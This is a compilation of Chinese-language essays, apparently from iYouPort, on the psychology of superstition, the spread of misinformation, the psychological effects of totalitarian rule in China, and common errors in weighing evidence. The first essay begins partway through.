而实际情况是，在合适的外部环境下，我们每一个人都会变得迷信起来——当然也包括你。

就拿棒球中的击球手来说，很多体育粉丝都觉得职业棒球运动中的击

球是体育运动中最困难的一项任务，即便是最好的击球手也只能达到大概1/3的打击率。棒球迷应该知道，许多击球手都有自己的幸运动作。在击球手上垒之前，观众可能会看到他们摸摸帽子、画画十字或者踩踩本垒。

正如文化人类学家乔治·格梅尔希（George Gmelch）在一本棒球评论杂志中写的那样，棒球运动员的这些幸运动作不仅局限于比赛中，在比赛前后也同样存在。由于一些不为人知的原因，一位棒球运动员总喜欢在比赛前的“最后一顿晚餐”中食用金枪鱼三明治，而另一位则喜欢在比赛前穿特制内裤。还有一位棒球手出名的地方在于，他总是在赢得比赛后，放些硬币到下体护具里去。如果整个赛季球队表现都不错的话，你便能在他奔跑时，听到他的下体叮当作响。

实际情况是，在合适的外部环境下，我们每一个人都会变得迷信起来——当然也包括你。击球手似乎是个迷信的重灾区，但这并不是因为棒球运动员的大脑与普通人有什么不同。事实证明，棒球中的击打实在是太难了，难到完全无法预测结果。有时候，击球手可以打出一个全垒打，但更多的时候，他们会击空。而那些看似迷信的幸运动作，正是这种外部环境下的产物。

不过，为避免你觉得迷信是击球手的专属特性，我得提醒你，他们其实和棒球运动中其他位置的运动员没什么两样。击球手可能在奔跑时下体叮当作响，相较之下，外野手就是一个相当安静的群体，但他们真的一样，都是棒球手，只不过戴的帽子不同。这绝不是因为击球手天生就比外野手更迷信，而是击球这个环节滋生了他们这些看似迷信的小动作——是这个外部环境让他们变得迷信起来。

棒球中的迷信限定在整个运动中特定的颇具挑战性的环节。与之类似，迷信也与社会中一些特定的行为有关。

1948年，波兰裔英国人类学家布罗尼斯拉夫·马林诺夫斯基（Bronislaw Malinowski ）将他对特罗布里恩群岛渔夫开展的一项研究汇集成书并且出版。书中写道，这些渔夫有时在珊瑚礁围起的泻湖内捕鱼，那儿的收获相当稳定，每次都能大量捕获某种特定的鱼。但他们也会在开阔的海面上捕鱼，那儿的鱼更大却也更难捕获。有时，这些渔夫会在开阔的海面上收获极丰，有时则惨不忍睹。事实证明，特罗布里恩群岛渔夫难以抵挡开阔海面上这些珍稀且数量颇丰的鱼类的诱惑，所以尽管有得不偿失的风险，他们还是愿意冒险出海一试——并且在这个过程中，建立了一套迷信仪式，其中包括捕鱼期间刻意表现的一些动作以及吟诵的一些咒语。

外部环境使得这些小迷信涌现。也许我们会认为这完全是一种人类适应环境的行为，但实际上，这种面对困难时诉诸迷信的倾向并非人类独有。就在马林诺夫斯基出版那本书的同一年，美国心理学家博尔赫斯·弗雷德里克·斯金纳（B. F. Skinner）发现，他能够让鸽子产生迷信。他设计了一种如今称为“斯金纳箱”的实验设备，并以此“教会了”鸽子，想要食物时，就压一下箱内的一条杠杆。动物都能学会这件事，而这个学习的过程就叫作 “强化”。

但当斯金纳给鸽子喂食的时间间隔随机时，有趣的事儿发生了：鸽子压杠杆时，有时能获得一顿美餐，有时却不能，并没有明显规律可循。在这样的外部条件下——或者说，在这样的结果不可控的外部条件下——鸽子们在压下杠杆之前开始重复做一些随意的、五花八门的动作。有的会快速地点几下头，有的则会转两圈。鸽子变得迷信了。

在我们看来，鸽子们似乎觉得至少在某一种层面上，确有一种可靠的方法能确保它们求得食物。经验告诉鸽子们，要想求得食物，光是按压杠杆是不够的，因为这并不总能奏效。所以，当食物真的来了的时候，鸽子们会回想一下自己之前做了哪些动作，并且它们想知道这些随意的动作——转圈、发出噪声之类的——是否和食物派送有关。出于这个目的，鸽子们便尝试了这些动作，而且有时候食物就真的来了。但也有些时候，即便它们做了这些迷信仪式，食物也没有如期降临。

有人会认为，这种时灵时不灵的小迷信，不正好能让鸽子幡然醒悟，觉悟到是否能得到食物与这些行为无关吗？类似地，在棒球运动中，击球手也不可能指望踩踩本垒和打出二垒安打之间有什么直接联系。那些在做完特定祈祷仪式后出海的英勇特罗布里恩群岛渔民也不可能总是把希望寄托在好运之上。伏尔泰和其他理性时代的哲人希望我们在面对此类情况时，能够理性思考，充分理解这些所谓的起因和结果之间没有联系。

然而，无论是对人类，还是对鸽子来说，事实恰恰相反。在面对结果和行为之间没有明显关联的情况时，大脑中似乎有什么东西，总是在尝试用创造故事的方式将这两者——其一是某种看似牢靠的赌博式行动，其二是某种出现概率极低的事件——联系在一起。

鸽子们在压下杠杆之前开始重复做一些随意的、五花八门的动作。有的会快速地点几下头，有的则会转两圈。鸽子变得迷信了。人类和鸽子其实没什么两样，都在疯狂地探寻世界的运行原理以及厘清其工作模式。驱动着这些迷信行为的生物学过程，我们只是略知一二。有一种名为“多巴胺”（dopamine）的神经递质——神经元之间赖以交流的

某种化学物质——似乎与大脑模式识别之间有着很紧密的关系。非常宽泛地说，你脑子里的多巴胺越多，你能掌握并使用的模式也就越多。

多巴胺让知觉变得有意义。如果我们脑中的多巴胺太少，便不能识别出各种工作模式；反过来，如果多巴胺太多，我们便会自己捏造出一些本不存在的模式。我们也许会捕风捉影，觉得遇到的每个人都是凶手。我们的世界观里便会充斥着错觉——然后还会变得疑神疑鬼。所以，我们大脑内的多巴胺水平必须控制在一个合理的水平。

实际上，我们每个人脑内的多巴胺水平是与生俱来的：这决定了我们的世界观。瑞士神经学家彼得·布鲁格（**Peter Brugger**）曾开展过一项非常出名的实验。该实验旨在研究人们的多巴胺水平在多大程度上决定了他们的世界观。这项实验的参与者，有些坦承自己相信超自然现象，有些则申明自己信仰宗教，还有些则表明自己是怀疑论者。实验中，布鲁格拿了一些脸部图像给被试看，其中部分图像很容易便能看出是脸，部分则扭曲到了很难发现明显的脸部特征。结果是，怀疑论者能识别出的面部轮廓寥寥无几，而非怀疑论者则识别出了很多。

之后，一半怀疑论者在不知情的情况下服用了一剂左旋多巴（一种可以暂时性提升多巴胺水平的药）。在左旋多巴的作用下，这些怀疑论者的表现开始接近非怀疑论者——他们识别出的面部轮廓开始增加。由于通过改变大脑多巴胺水平可以控制模式敏感性，这项研究表明，更高的多巴胺水平可以让人们探测到更多的模式。这个实验的逆向过程也同样奏效：墨西哥神经学家维克多·德拉芬特（Victor de Lafuente）和拉努尔福·罗莫（Ranulfo Romo）发现，当猴子被扔在扑朔迷离的环境中时，它们大脑中的多巴胺水平会上升。

事实证明，当我们身处没有明显模式的环境中时，大脑就会提升多巴胺水平，让我们变得更迷信。这种环境产生了认知上的困惑，于是我们也就随之摇摆。就算是理性哲学家中的顶梁柱伏尔泰，肯定也曾经如此摇摆过。

在某些文化中，迷信根深蒂固，甚至成了信仰的一部分。于是，迷信作为对不太可能发生的特定事件的应对，这一功能开始下降，转而更多地成了一种解释所有外部的、难以解释的事件的方法。20世纪20年代，英国人类学家埃文斯-普里查德（“E. E.” Evans-Pritchard ）研究了苏丹的赞德人。他在回忆录中记录了一件奇闻。如果以如今的研究准则来看，他与研究对象的过深牵连是完全不被允许的。

一名赞德男孩踢到了树桩，把一根脚趾弄断了。伤口溃烂后，男孩却

把整件事归咎于巫术。埃文斯-普里查德为小男孩解释，树桩是自然生长出来的，而他没注意到草丛里的这个树桩，不小心踢了上去，伤口碰到了污泥便会感染，和巫术没什么关系。对于有科学思维的人来说，这一番解释也许就够了。

但实际上小男孩早已知晓这些事，只是他不觉得这便能解释一切。

赞德人相信巫术，并且这种信仰已经渗透到了他们生活的方方面面——从捕鱼到家庭关系。“赞德文化中，没有一处角落或壁龛是毫无扭曲的，”埃文斯写道。对这个男孩来说，巫术——而不是自己的不小心——让他当时没能看见树桩，也只有巫术才能解释为什么这个伤口溃烂了，而其他的伤口没有。面对这些问题，埃文斯-普里查德没有更好的答案了。确实，即便是近一个世纪后的今天，科学也只能初步将这些事件含糊地归因于概率。而对那个赞德男孩来说，“概率”根本算不上什么解释，而伤口带来的疼痛却是实实在在的，这才是真正发生在他身上的事儿。

从赞德人的故事中，我们还能得出另一条重要的结论：迷信之所以能长盛不衰，有一条确定无疑的原因就是，我们总觉得自己能够影响到事件的结果。我们的控制欲太严重了。近来有许多科研成果佐证了这个论断，它们表明，当我们亲身经历一些事情的时候，我们往往会夸大其重要性。

比如，以色列裔心理学家拉玛·法尔克（Ruma Falk）就开展了一项实验。实验中，被试要求阅读一些有关巧合的故事，有些故事的主角设定为被试自己，还有一些则是别人。结果发现，人们总是认定，发生在自己身上的巧合要比发生在别人身上的更为惊喜。如果别人想到一位老朋友时，这位老朋友正好打电话给他，我们会觉得，嗯，也没什么，这事儿不是很常见吗？但如果自己在想念一位老朋友时，他碰巧打电话给我们，我们就会觉得，哇，这里头肯定有什么深意，对吧？这种巧合会显得更为令人惊喜的原因在于，我们觉得这事儿发生在自己身上的概率要比发生在别人身上更小。当某事发生在自己身上，而不是别人身上时，那种“此事大有深意”的感觉要更强。

这两个都是我们身处所知信息极少的环境中时，努力创造模式、编造故事的例子。即便把某件事成功或失败的概率详细地以鸽子、击球手以及特罗布里恩群岛渔夫的事例写出来，他们的主观经验也会劝说他们，确有办法能够增大事态朝有利于他们的方向发展的概率。也许，方法就是来一段仪式化的舞蹈？除了深刻理解周遭环境的需要以外，主观性或许也对彻底弄明白为什么我们的大脑这么容易被低概率事件影响有着极为关键的意义。

对此，伏尔泰会抗议：哪怕某事件的某种解释，对个人很有意义，我们在究明问题的过程中，也必须考虑科学定律。然而，两个半世纪过去了，哪怕我们的知识水平已经有了长足的进步，仍旧有那么多的困境让我们产生迷信的冲动。实际上，通过追踪大脑内部的神经递质，科学已经告诉我们，那些从事对架构能力、编故事能力要求较高职业的人（比如哲学家和小说家）脑内的多巴胺水平更高，这就让他们更易产生迷信。这点对小说《老实人》（*Candide*，又译《赣第德》）的作者也同样有效。对了，那本小说的作者名叫：伏尔泰。〇

原文

谎言的极简心理学和如何保护自己 - iYouPort

心理学和社会学

一旦播种，病毒性传播的错误信息就会利用人类思维难以确定真实内容的弱点。谎言的心理学是什么样的？如何保护自己？

「图」

「图」

一旦播种，病毒性传播的错误信息就会利用人类思维难以确定真实内容这一的弱点，实现操控你的目的。

大多数人都会关心真相。我并不是说人们一直都说实话—虽然我们大多数人都这么做—但我们非常想知道什么是真实的。如果你没有看到现实的到来，现实可能会让你失望，甚至危险。

误读自然界或社会线索对于古人作为狩猎采集者来说往往是致命的，我们自己就是那些当年*做对了的人*的后裔。如果他们出错，早就死掉了。换句话说，在将真理写入我们的道德和法律规范之前，它已被写入我们的遗传基因。

那么，为什么社交媒体的混乱、阴谋论、病毒式意识形态或虚假政治宣传活动会让我们相信那些彻底的胡说八道呢？

“意外怀孕中心”的一名志愿者告诉一位年轻的孕妇，堕胎会导致癌症。

一只猫爱好者坚持认为，绝育的猫科动物可以消灭野猫。

一位基督教青年领袖告诉青少年，无神论者不会快乐。

一位保守派 *Facebook* 朋友说，边境的移民大多是帮派成员和罪犯。

一位自由派的 *Facebook* 朋友表示，他们大部分时间都在逃避暴力或

死亡。

这些说法中的每一个都是可伪造的和虚假的，当我们看到其他人接受并传播对我们来说显然是错误的想法或“现实”时，我们常常认为他们要么不关心真相，要么就是故意的骗子。但那是懒惰的想法，而且有点傲慢。是的，另一方的人不完全真实，你也一样；是的，有些人是习惯性的骗子甚至是反社会人格；是的，非反社会的人有时也会因为某种原因而决定最终证明某些手段的合理性。

但是，当人们散布虚假的东西—甚至是表面看起来透明的东西时，他们大多相信自己所说的话。马克吐温说，谎言已经游遍全球的时候真相才刚出门。但真相只有在人们相信时才会“出门”。这就是为什么大多数宣传都使用部分真相或去语境化的真相来制造误解或扭曲。

那些专业就是交流部分真相和虚假信息的人—比如一些理论家、政治战略家、营销专家或公司和国家级信息战专家，一直在分析和利用我们大多数人想知道“什么是真相“的愿望。他们扮演这一角色的一种常见且高效的方式就是：让我们相信，只有那一小部分群人才有所谓的内幕消息。

人类是社会信息专家，我们通过分享内部知识而彼此站在一起。八卦是一个很好的例子，并为社交营销提供了基础。“天哪，你听说过***没??！” 但阴谋理论也是如此，阴谋论的信徒利用空穴来风的传闻寻找被故意埋葬的秘密知识—然后他们以惊人的杜撰细节出版自己的结论。

宗教意识形态教导人们独自掌握生活奥秘的答案。有些会产生秘密社团或神秘的仪式，而像银色十字架项链、圆顶小帽这样的外部符号标志着对专属真理的拥抱，从而提升了信徒们眼中的地位。

社交媒体提供了内在知识扎根的肥沃土壤，而且—众所周知—虚假（特别是伪装成全部真理的部分真理）就像侵入性杂草一样茂盛地蔓延。其中一些谎言是由意识形态、宣传者、虚假信息专家故意播种的;其他的则从人类意识形态中、信息的不断转移和流动中、以及重组中，自然而然地涌现出来。

病毒式传播的胡扯所利用的东西一般包括以下几种：

部落边界—社交网络的回音壁在很大程度上决定了什么信息能流过我们的眼睛。

身份过滤器—我们是谁，意味着我们的遗传和生活经验，我们的兴趣和价值观，我们的认知优势和弱点，以及我们的情感构成都在决定什么才能引起我们的注意力。

令人愉快的惊喜—人们就像飞蛾一样被意外和反直觉所吸引，引发了发现秘密知识的快感。没人在乎那是不是真的。八卦小报之所以盈利使用的就是这种方法。

快速思考—面对竞争优先级和大量信息，我们依靠直觉和其他认知捷径，很少应用更高阶的推理来仔细审查一组命题或证据。

集体思考—只要有可能，再次为了提高信息处理效率，人们让圈子的其他成员为自己做分析，以更快的速度“完成任务”。很多人是先看评论后决定是否读文章的，这就是卖僵尸刷评论的市场来源。

权威层次结构—通过寻找可信赖的权威机构来完全绕过思考，这些权威机构可以是个人（大V）、机构、甚至神圣文本—不一定是相关专家—并且人们倾向于接受他们所说的“事实”。

共识捷径—将优势意见视为优势证据。卖点赞量吧，你就会摇身一变成为“真理”。

饱和诱惑—人们会屈服于重复的、无处不在和一致的信息，无论它们是否有证据支持。谎言不断被重复就能变成“真理”。

动机推理—即使花时间去构建对自己的分析，也常常从自己想要的事开始、从那些符合自己的既有世界观或者使自己直接受益的东西，然后从那里向后推理。于是如果你希望在社交网络上获取影响力、获得最大数量的转发点赞，并不困难，只需要一个原则，即 放弃真正有意义的话题，紧密且充分融入肤浅的娱乐化氛围。

确认偏误—一旦真正的信徒或伪装者让我们相信了某些东西，那么我们自己就会接管他们的工作，忽略或拒绝可能表明我们是错误的信息。

优越感—某些情感，包括正义，道德厌恶或嘲笑的声音，将我们自己与可能挑战我们的人和想法割裂开。彼此都不会有进步。

恐慌—充满激烈的情绪—特别是恐惧时—高阶推理就会消失，思想开始大面积踩踏。

加强你的防御

摆脱这些动态是不可能的，但可以采取一些措施来减少它们的作用。

提出可疑真相主张的病毒式宗教通常包括一套旨在防止背叛的规则，脚本，建议，结构和教条。换句话说，如果一个人真正有兴趣弄清楚什么是真实的，那么他们就会勾勒出应该做的事。

崇拜服务的结构是为了引发情感和团结感，使人们暂停怀疑，重复使这项交易得以巩固。在过去的几代人中，物理架构的发展有助于实现这一目标; 大教堂内的广阔空间使小脑迷失方向，引发了超越的感觉。

但是现在大多数教派都只依赖于熟悉的领导在熟悉的同志们的陪伴下使用熟悉的相互强化的故事和规则的节奏，这些人将信徒包围在一个热情的、支持的和道德优越的社区中。在某种程度上，这适合您的 Facebook 好友列表或 Twitter 提要或新闻和娱乐的选择。中国式的小圈子是最典型的。我们称之为“隧道效应”。

让自己离开庇护所，这样你就可以摆脱唱诗班的甜美，舒缓的平静，逃脱饱和的诱惑。寻找沉默和思考。

相信怀疑。确定真正的专家和专业知识，但对正统观念提出质疑—特别是那些具有强烈情感吸引力的东西，警惕当局所传讲的救赎真理。

部署你的批判性思维能力—不仅仅是当你想诋毁邪恶的局外人及其明显的谎言时，更有在你与那些分享你的价值观和观点的人聚集的时候。保持对不确定性的容许。

最后，拒绝所有异教徒必须是邪恶的想法。寻找不喜欢你的人的群体、聆听你们圈子的对立面所说的真理和智慧的核心。他们可能无法摆脱虚伪的孤岛，但至少你可以打破自己的孤岛。 广告

原文

诊疗笔记：求极权社会的心理阴影面积（1） - iYouPort

心理学和社会学

人们用直觉选择认同多数、服从权威，也就是我们经常说的，当权者在坐享社会人格的红利。

「图」

「图」

一个国家的体制是每个人心理结构的映像，是人们内心那些不自知不肯承认的东西的外在写照。如果没有台下那些俯首帖耳、列队整齐的“人民”，也就不会有人能雄霸主席台。精神疗法里有句讽刺说：什么样的人养什么样的鸟。

极权的常年压制已经操控了人们的生活，其范围远不限于政治和社会领域，也波及到科研、经济、法律、艺术，甚至人际交往和日常文化层面，最重要的是对个体的心理结构产生了影响。尽管每个人都无法逃离这个变形的制度，但还是有不少人在奋力抵抗。不过也有不少人自以为是在抵抗，实则已被感染，他们用来嘲讽极权的方法大多没跑出极权常用的手段，很有讽刺味道。

有些人喜欢盯着官场的落马、上台等演绎，期待倒掉政法王就能将专制暴力通通解决，当权者也喜欢使用这类方法来遮蔽党政国家机关的追名逐利、机会主义、道德败坏等勾当，选择性洗冤所有罪责就一笔勾销，这类游戏已经熟悉到令人反胃了。而律师们仍以拿下洗冤案为荣、为自己的辛劳骄傲，他们感觉不到自己的辛劳其实是在帮当权者行骗。

长期的纪律教育、宣传蛊惑以及不容任何质疑的偏狭行径，带来的后果必然是将外在的强制力转化为内在的压抑。这一体系在长久的对个体施加影响，直至个体在心理机制上彻底完成自我奴化的过程，完成自我破坏的转化。个体到最终不仅无法感知其已经被异化、不能辨认真正的生活，而且还将失常行为合理化解释：比如这是在实现伟大的

中国梦、为了人们获得社会稳定的福祉……当那些被架上神坛的“英雄”为自身的精神扭曲而感谢党和政府时，是最可怕的时候。

普通人的私人领域里也有一套极好的辩术，什么为了饭碗、为了家庭和孩子、逆境求生我也不容易，还有莫谈国事“你改变不了现实”等等。

底层和偏远地区的年轻人积极入党、跪求做帮凶，或为了升迁发际，或是内心缺乏稳定性，那些失去自我的人想要借助严密的意识形态和空头支票愿景来缓解自己的不安和自卑。

病源

极权国家的暴力分为两种，首先是公开的直接的暴力，表现为刑讯逼供、持枪权开枪权合法、监禁和流亡威胁，另一种是长期存在的隐形暴力，包括维护政权稳固的法条、报复打压、恐吓、羞辱、教条灌输以及一系列的威逼胁迫。这种所谓的“民主集中制”体制犹如一条单行道，永远是自上而下的传达政策和决定，自下而上的一方被封闭。而网络媒介打破了这种单向模型，于是极权政府想尽办法封堵和遏制，目的是将网络模拟成现实的单向灌输。但由于网络信息流向没可能被把握，再强大的管束也只能将自下而上的一方缩窄，无法完全堵死，于是当局又开始收编、渗透民间舆论场，以期用占领进一步削弱独立声音。

如果社会人格尊重独立性，再强大的占领也将无济于事，庞大的民间永远能保留思考的主动。但现实是个悖论，极权专制建立在集体主义基础上，人们用直觉选择认同多数、服从权威，也就是我们经常说的，当权者在坐享社会人格的红利。

国防网、封杀令、监控和恐吓构成了一道严密的屏障，其目的是保证这个大监狱内的一切现行体制顺畅无阻：压制性的教育，覆盖全社会的无处不在的意识形态，所谓“中国好网民”那套旨在镇压异议的奖惩机制。国家的压制手段已涉及到生存、心理及道德等诸多方面，完全可以想象给社会留下了多么严重的创伤。

每一次的血腥镇压和大抓捕都会令整个社会再度陷入弥漫的恐慌和绝望之中，这些悲观情绪正是社会狭隘心理和性格扭曲的背景。

独裁专制是当权者的心理缺陷表现在政治上的诉求，他们将一系列的强制性渗透到老百姓的生活中，任何形式的抵抗都会被有计划的扼杀。他们将制造的现实情境植入人们的经验：如果想获得被提升、被

认可、享受高等教育的权利，就必须在国家划定的准则内循规蹈矩，恭顺服从；想要获得嘉奖、事业发展等特权，必须会溜须拍马和绝对服从。

这种制度下只有纯粹的奴才能马马虎虎的生存下去，消磨掉自己的坦诚和批评的能力，去换取一种不甚危险的生活。

为了让人们服从管理，当权者一面挥动着“党纪”的幌子，一面借助道德和心理学来实施高压手段。他们所谓的讨论和发言实际上只是传达贯彻领导的指示而已，一旦有人敢于发表不同意见或主张，立刻会遭到恐吓，他们甚至愿意让被恐吓者传播自己的经历，以期能借此扩散恐慌。

这个国家的精英们之所以能登上精英的地位，是因为他们曾经比旁人更多顺从，更洞悉极权的威慑，更擅长规避自保。有人会说，考察一个人的专业水平和领域成就时是不是可以不涉及人格分析，如果了解极权社会的生存法则，就必然会懂，那些体制内精英获得的成果是值得怀疑的。

「图」

「图」

你怕了 它就赢了

极权维稳机制建立在民众的恐惧之上，通过渗透和粉饰恐惧直接掌控民众的心理结构。人们潜在的恐惧感就是他们源源不断的资源，心理疗法称之为不自知紧张状态。

潜在的恐惧需要不断的压抑、监视和威慑，否则会反弹，于是权力阶层不断策划出新的管制条例、监控技术和维稳方案，从接连不断的运动式净网专项，到网格化维稳，从人权律师大抓捕，到NGO管制条例……以期借此加剧民众的心理危机——即：将自身潜在的恐惧自动转换为对他人的恫吓。你常见的那些“本群不要谈政治”、“坚决服从警察执法，保命要紧”等等观点，就是这套妖术已经成功的迹象。

逐渐庞大的国家机器也逐渐变得碌碌无为无事可做，于是他们树立起假想敌，又命名具体的敌对者，如此才能继续宣传恐慌。各种严打、下指标抓人。受迫害妄想的波及面不用统计也可略知一二。如果你的电脑忽然出了问题，是不是最先怀疑中了监控木马？约朋友聚餐，旁边桌的人多看你几眼是不是马上怀疑是便衣？……

当局已经开始肆无忌惮的宣传朝阳群众的“无处不在”、网评员群体的数量之庞大、为网警志愿者颁发奖励的新闻要求各种宣传机构转载，这些晒肌肉举动并不是什么自信，正相反是恐慌，并且期望将自身的恐慌植入民众的神经。你害怕了、自我审查了、言行谨慎了，他们就达到目的了。

他们一切的非法监控都被自己编制的法律合法化了，对待反对群体，最惯用的手段就是挑拨，暗中触发信任危机，以打散、分裂、孤立和边缘。押送央视审判、抹黑泼污水，以期利用民众的群体性思维习惯破坏掉一个系统的声誉。

这些极不道德的行为给人们带来严重的心理扭曲，越来越多的人缺乏情感、缺乏同理心，缩入更小的圈子以寻求安全，诸多效应都计入了恐怖政权统治的成果册。

强权、政治性司法和维稳机制构成了所谓的民主集中制，政党将那些最为服从的、也就是心理扭曲最严重的人提拔到领导岗位，他们无不狭隘、愚蠢和虚伪，但却能四处横行，是维稳机制和政治性司法为他们扫清了障碍。

「图」

「图」

教育牢笼

集权国家的教育目的就是摧毁个人意志、扼杀个性和创造力，这一准则已渗透到教育的各个层面。评价一个孩子的表现时，最为推崇的标准就是融入集体的能力，而特立独行、自主自我被视为毫无价值，如果你看过科幻电影《雪国列车》，会能记得课堂那节车厢，那就是极权教育的现实。

中国大多数父母却长期信任这种畸形的教育模式。或许父母们本身就是专制型思维方式的受害者，当教育机构能完成对孩子的纪律化训练时他们会感激、求之不得；也可能父母们深会底层的艰难和恐慌，寄希望于文凭打破阶层屏障。

连家庭也是一样，很多家长会惧怕孩子流露出的纯真和坦诚，他们会下意识的教育孩子如何适应这个社会的各种潜规则，甚至埋没孩子的真性情也在所不惜，他们那些视之为安稳自保的经验将弥漫于全社会的自闭代代相传。

无论怎样，对于孩子来说，面对束缚的规范和专制操控，你不屈服就无法走出来。教育工作者也一样，如果是尚有一点良知的教师就难免陷入一种矛盾：一边是被迫实施的洗脑教育，一边是自己的认知在提示撒谎的卑劣。只有自我意识薄弱和唯命是从的人能胜任这种扭曲的工作，将洗脑教育代代相传。

几乎所有人都屈服于分数说话、学历标尺的评价体系，身份地位被认为是真理的象征。以至于政治批评者也习惯于给自己冠上一大堆头衔，才能让自己的观点赢取公信力。他们说，没办法，人们的认知已经固化了。

信任危机

社交网络有天然的视觉匿名，当人们为了扩展连接关系而建立了很多大型群聊后发现，其中的群友不是沉默寡言，就是破口大骂，信任缺失已影响到倾听的能力、失去了对平等的认识。人们在日常生活中独立人格太多被压抑，社交网络的视觉匿名便提供给人们一种发泄的机会。群聊很容易捕获这类特征，更多人是在表演，而非获取和学习，也没有那个兴趣。因而错失了互联网最珍贵的价值：连接能力。

思考者背负着强大的心理负担，在同道中唯恐被视为愚蠢，只能附和周边，否则会被讥笑、批评、羞辱和排挤。没有人愿意和孤立的人交往，因为人们的价值观是他律的，认为被孤立者必然有其不正常之处，也就是以旁人的判断做标准。

已经有不止一位翻墙的网友私下告诉我“不敢添加中文Twitter用户”，我奇怪为什么，他们说“中国人里到处都是五毛和国宝线人，你躲都躲不开”。这也是极权的成果，他们浓化的恐慌已经深入了潜意识。

愚蠢的政治口号、明目张胆的公开扯谎，之所以能稳定存在其背后隐藏着一套心理战术。他们编织着一系列压抑情感的准则：克己、自控、勇敢、坚毅、绝对服从权威、遵纪守法……并就此打造出一批又一批面无血色、战战兢兢的下一代，继而就是目标明确的奋斗和成功崇拜，真实的人性被雕塑成他人手中的玩偶。

——未完待续——

完整版：

《诊疗笔记：求极权社会的心理阴影面积（1）》

《极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2）》

《极权社会的心理阴影：压抑的恶果和被误解的代偿（3）》

《极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4）》

《极权社会的心理阴影：阻碍型性格和强迫性人格—— 社会角色的代偿可能（5）》

广告

原文

信息分析心理学：局部一致的骗局和不确定性证据（2） - iYouPort

心理学和社会学

曾经有一位外媒记者在北京街头随机采访，问行人是不是支持反腐（也就是是不是支持习），结果……

「图」

「图」

在《做个聪明的信息消费者》中，我们强调了对信息源的评估，是基于经验的判断、凭借直觉型认知，本系列则着重对信息本身的分析法，属于推理型认知，主要介绍一些常见的误区。

继续前文的内容。

一致性显然是评估证据的适宜指针之一，它指的是提出各种解释和估计，然后挑选出在逻辑上一致的情况下覆盖证据最多的那个。但某些时候，一致性也会成为骗局，很可能正是因为它们之间高度相关或彼此重复——很多报道互相转载，基本相当于一份报道；或者信源之间连接强度很高（比如同属一个小圈子），十个信源也只等于一个。

搜索引擎形成的就是上述效果一。人们搜索使用的都是关键字或句，显示的结果基本是所有刊发相关内容的媒体列表，最多只能从媒体公信力上去判断，如果是知名度高的媒体对信息分析有误，那将会在短时间内带来一大片误判。比如当年关于“江泽民去世”的消息，经历过并留心过传播全程的人能体会到这点。很可能就是多信源高度一致造成的误判，忽略了常识性概念——有权确定一个人死亡的只有医生。

在信息分析中，例如调查一个相对更加封闭的国家或民族的政治态度，分析人员能掌握到的信息可能很少，那么这种问题就更容易产生——如果掌握的证据彼此一致，分析人士就会忽略它们很可能是极小样本的事实。

曾经有一位外媒记者在北京街头随机采访，问行人是不是支持反腐（也就是是不是支持习），结果显示，绝大部分人都表示“非常支持”，之后该记者就得出个结论：中国人大多支持习。很明显他没有碰到政治异议，或者说其中有部分人没有直言（在摄像机面前对外媒表达政治反对具有一定风险）。再比如，近期党宣环球时报搞了一个对“武统台湾”的调查，也导致一部分媒体引其为推测“大陆人对台立场”的议题。更糟糕的是，对于一个封闭型社会，外界只能了解到这些可信度极低的信息，如果它们彼此一致，则很容易产生虚幻的有效性。

这种过分依赖少量样本的倾向被戏称为“少数定律”，它是对“多数定律”的一种反讽。多数定律是统计学基本原理：即大量样本将在很大程度上代表被分析的对象群体，民意调查证据就是基于这一原理的。但绝大部分人并非有与生俱来的统计头脑，对于取得可靠结论之前所需要的样本大小没有直觉上的认知。所谓“少数定律”的意思就是，我们可能会把远不充分的样本当作大样本来处理。

即便是受过训楼的数学、心理学家也可能犯这样的错误，比如设计实验，心理学家没能认识到少数样本中存在着高度不可靠性、对最初的反映样本趋于盲目自信，对想象中的结论产生不合理的期待，等等。

在面对少量但具备一致性的证据时，必须考虑这些证据能够在多大程度上代表已有的信息？如果还有更多的报告，那么新信息与已有证据也一致的可能性有多大？如果不能确定这些，哪怕已有的少量信息具备再高的一致性，也无法对判定做出过分自信。这同样是彰显专业性的一个规则。

再说说不确定证据。

有很多种情况能导致信息不一定完全准确，比如，理解错误、认知错误、掌握的不全面、传递过程中有扭曲却不被感知等等，此外还有，分析人员在运用证据时是从记忆中检取来的，却往往记不住信息来源，更不用说最初得到这些信息时的准确性了。

人们的思维很难处理各种复杂的概率关系，因此习惯于使用一些简单的经验法来减轻负担，对准确性和可靠性无法确定的信息进行处理时则倾向于简单的对错判断。也就是说，如果否定了某个证据，就会彻底排除它，反之如果接受了就会全盘接受，而忽视了可靠性和有效性必然不会绝对，它存在一定错误概率。这是被称之为“最佳猜想”的策略。这种策略能简化准确性不确定信息的融合过程，但也会忽视其中的不确定性。

还有一种更复杂些的策略，先假定已掌握的信息完全可靠，然后依照这些信息做出判断，最后再使用某个反应信息预计有效性的因素来调整上述判断。这种方法也是对最佳猜想的改进。

比如假定政治变革和经济崩溃在任何情况下都是密切相关的。中国正面临最严峻的债务危机，而且似乎使用的是很蠢的办法拆东墙补西墙，于是推测其正加速接近债务规模可承受的极限。假设分析人士综合相关数据后认为经济硬着陆的可能性是75%，且确定相关证据准确无误，于是由此判定政治变革的可能性是75%，但最终结论并不是这样，而是政治变革实际发生的概率只有56%，即两个75%相乘的结果。

这只是个实验室真空中的产物，现实中可没那么简单。分析人员必须考虑到许多准确性和可靠性均不同的证据，而这些证据的复杂概念又会导致各种不同概率的潜在结果……人们很难通过数学计算将所有概率考虑进来，在进行直觉判断的时候会不自觉的走捷径，其结果必然会导致忽视一部分不确定性。所以对一些信心十足的预测你基本都可以忽略，尤其是政治和经济方面。

另，一些同样的情况也会影响我们对信息判断的反应，因为这些信息貌似很合理，但其可靠性一开始就值得怀疑。比如小道消息说，听到了某中共高层的私下聊天内容——在八卦媒体上经常能看到的细节，而那些媒体一开始就设其为真实——即便内容绝对真实，是非常可信的人亲耳听闻、还没有经二道手传播，你也无法就此确定该高层说的那些话究竟是代表真心所想还是轻率的言辞，是有意欺骗对面人、还是明知隔墙有耳故意做局。得到信息的人基本无法判定信源动机，只能根据信息本身的价值来做判断。于是，分析人员大多会受到“看似合理”的因果关系的影响。

如果这些因果关系是已被分析人员掌握的信息，那么除了支持现有观点外，这种报告几乎毫无影响；如果报告显示了新的、并且看起来合理的因果联系，那么就要重新整理思路，将其纳入思考范围。比如记者已经认定“李源潮前途危机”，那么听闻诸如“王岐山私下透露正计划调查李源潮”之类的小道消息时，不论相关渠道有多离谱，也不容易影响到对真实性的判定。

